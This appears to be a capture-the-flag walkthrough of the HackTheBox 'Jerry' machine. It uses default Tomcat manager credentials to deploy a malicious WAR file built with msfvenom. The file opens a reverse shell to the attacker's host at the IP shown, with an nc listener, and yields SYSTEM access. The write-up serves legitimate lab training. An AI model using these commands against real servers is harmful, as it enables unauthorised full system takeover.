HacktheBox.eu - Jerry - Update

HacktheBox.eu - Jerry - Update

Recon

Let's use threader3000 for our recon scan. It's a threaded scanner writing in python that does a super quick up/down scan on all TCP ports, then suggests a nmap scan based on the results. It will automatically save the nmap scan results as XML, then we can convert it to HTML

xsltproc ./jerry.htb/jerry.htb.xml -o ./jerry.html

Ouch, not a lot to go on here. We just have port 8080 running apache tomcat/Coyote JSP version 1.1

Let's see if we can browse to the site.

Looks like a generic Apache Tomcat page. There is authentication required for the buttons on the right.

We get this error message

It looks like the default user/pass  should be tomcat/s3cret

If we try this it does look like it works, we can get some more information about this box.

Looks like we have a 64-bit Windows Server 2012 R2 box

Google around for Tomcat 7.0.88 exploit and you will come across this blog

https://www.ethicaltechsupport.com/blog-post/apache-tomcat-war-backdoor/

Which basically says we can use msfvenom to craft a war file that we  can upload directly in this management interface..

Let's give it a try!

Exploit

First we will need to build our malicious war file with msfvenom

msfvenom -p java/shell_reverse_tcp LHOST=10.10.14.13 LPORT=5555 -f war > circusmonkey.war

Here we are telling msvenom a java war file with a reverse tcp connection back to our kali box on 10.10.14.13 port 5555, and to save out the results to a file called circusmonkey.war

Next we need to setup our listener on our kali box

nc -lnvp 5555

Now we can add it to Jerry by using the "War file to deploy" option.

Just browse to the circusmonkey.war file we created and upload it.

Here we can see that we were able to deploy our malicious war file to the server so I we browse to that location, we get our shell back…… not only do we get our shell back.

We are in as System. Game Over

If we navigate to the Desktop folder of the administrator account we see there is a text file named "2 for the price of one" which contains both the user and root flags.